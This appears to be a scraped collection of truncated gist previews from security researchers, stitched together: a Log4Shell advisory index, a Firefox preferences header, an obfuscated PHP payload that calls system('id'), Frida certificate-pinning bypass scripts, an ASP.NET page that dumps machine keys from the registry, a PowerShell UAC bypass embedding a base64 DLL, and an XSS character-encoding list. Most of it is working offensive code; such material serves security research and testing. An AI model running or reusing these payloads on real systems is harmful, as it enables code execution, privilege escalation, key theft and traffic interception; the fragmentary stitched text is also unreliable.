SwitHak

Security Advisories / Bulletins / vendors Responses linked to Log4Shell (CVE-2021-44228)

Errors, typos, something to say ?

• If you want to add a link, comment or send it to me
• Feel free to report any mistake directly below in the comment or in DM on Twitter @SwitHak

Other great resources

• Royce Williams list sorted by vendors responses Royce List
• Very detailed list NCSC-NL
• The list maintained by U.S. Cybersecurity and Infrastructure Security Agency: CISA List

AetherEternity

// Mozilla User Preferences
// To change a preference value, you can either:
// - modify it via the UI (e.g. via about:config in the browser); or
// - set it within a user.js file in your profile (create it if it doesn't exist).
//
// Profile folder location on different systems:
// Windows: C:\Users\<username>\AppData\Roaming\Mozilla\Firefox\Profiles\xxxxxxxx.default
// Mac OS X: Users/<username>/Library/Application Support/Firefox/Profiles/xxxxxxxx.default
// Linux: /home/<username>/.mozilla/firefox/xxxxxxxx.default

terjanq

/* system(id) */
<?=$Φ=([].Φ)[![]+![]+![]]?><?=$Χ=++$Φ?><?=$Ψ=++$Χ?><?=$Ω=++$Ψ?><?=$Ϊ=++$Ω?><?=$Ϋ=++$Ϊ?><?=$ά=++$Ϋ?><?=$έ=++$ά?><?=$ή=++$έ?><?=$ί=++$ή?><?=$ΰ=++$ί?><?=$α=++$ΰ?><?=$β=++$α?><?=$γ=++$β?><?=$δ=++$γ?><?=$ε=++$δ?><?=$ζ=++$ε?><?=$η=++$ζ?><?=$θ=++$η?><?=$ι=++$θ?><?=$κ=++$ι?><?=$λ=++$κ?><?=$μ=++$λ?><?=$ν=++$μ?><?=$ξ=++$ν?><?=$ο=++$ξ?><?=$ο=([].Φ)[![]+![]+![]]?><?=($η.$ν.$η.$θ.$Ω.$α)($έ.$Ψ)?>


<!-- 
  Explanation:
    - Some of the characters might look like alphanumeric, but they are Unicode characters.
    - 'ArrayΦ' <-> [].Φ
    - 1 <-> ![]
    - 'a' <-> ([].Φ)[![]+![]+![]]

teknogeek

Java.perform(function() {
    console.log('\n[.] Cert Pinning Bypass');

    // Create a TrustManager that trusts everything
    console.log('[+] Creating a TrustyTrustManager that trusts everything...');
    var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
    var TrustyTrustManager = Java.registerClass({
        name: 'com.example.TrustyTrustManager',
        implements: [X509TrustManager],
        methods: {

irsdl

<%@ Page Language="C#" %>
<%
// Read https://soroush.secproject.com/blog/2019/05/danger-of-stealing-auto-generated-net-machine-keys/
Response.Write("<br/><hr/>");
byte[] autoGenKeyV4 = (byte[]) Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\4.0.30319.0\\", "AutoGenKeyV4", new byte[]{});
if(autoGenKeyV4!=null)
	Response.Write("HKCU\\Software\\Microsoft\\ASP.NET\\4.0.30319.0\\AutoGenKeyV4: "+BitConverter.ToString(autoGenKeyV4).Replace("-", string.Empty));
Response.Write("<br/>");
byte[] autoGenKey = (byte[]) Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\2.0.50727.0\\", "AutoGenKey", new byte[]{});
if(autoGenKey!=null)

akabe1

/*  Android ssl certificate pinning bypass script for various methods
	by Maurizio Siddu
	
	Run with:
	frida -U -f <APP_ID> -l frida_multiple_unpinning.js [--no-pause]
*/

setTimeout(function() {
	Java.perform(function() {
		console.log('');

clavoillotte

# Bypass UAC with a .NET profiler DLL

# GUID, path and content
$GUID = '{' + [guid]::NewGuid() + '}'
$DllPath = $env:TEMP + "\test.dll"
$DllBytes64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADXHurFk3+ElpN/hJaTf4SWsR+Fl5B/hJaTf4WWkX+EligejJeRf4SWKB6Gl5J/hJZSaWNok3+ElgAAAAAAAAAAUEUAAGSGAwAgMyBZAAAAAAAAAADwACIgCwIOCgACAAAABgAAAAAAAAAQAAAAEAAAAAAAgAEAAAAAEAAAAAIAAAYAAAAAAAAABgAAAAAAAAAAQAAAAAQAAAAAAAACAGABAAAQAAAAAAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAAAAAAAAAAAA4CEAACgAAAAAAAAAAAAAAAAwAAAMAAAAAAAAAAAAAAAAAAAAAAAAACAgAABwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAA7AAAAABAAAAACAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAARgIAAAAgAAAABAAAAAYAAAAAAAAAAAAAAAAAAEAAAEAucGRhdGEAAAwAAAAAMAAAAAIAAAAKAAAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

lucasrizoli

<
%3C
&lt
&lt;
&LT
&LT;
&#60
&#060
&#0060
&#00060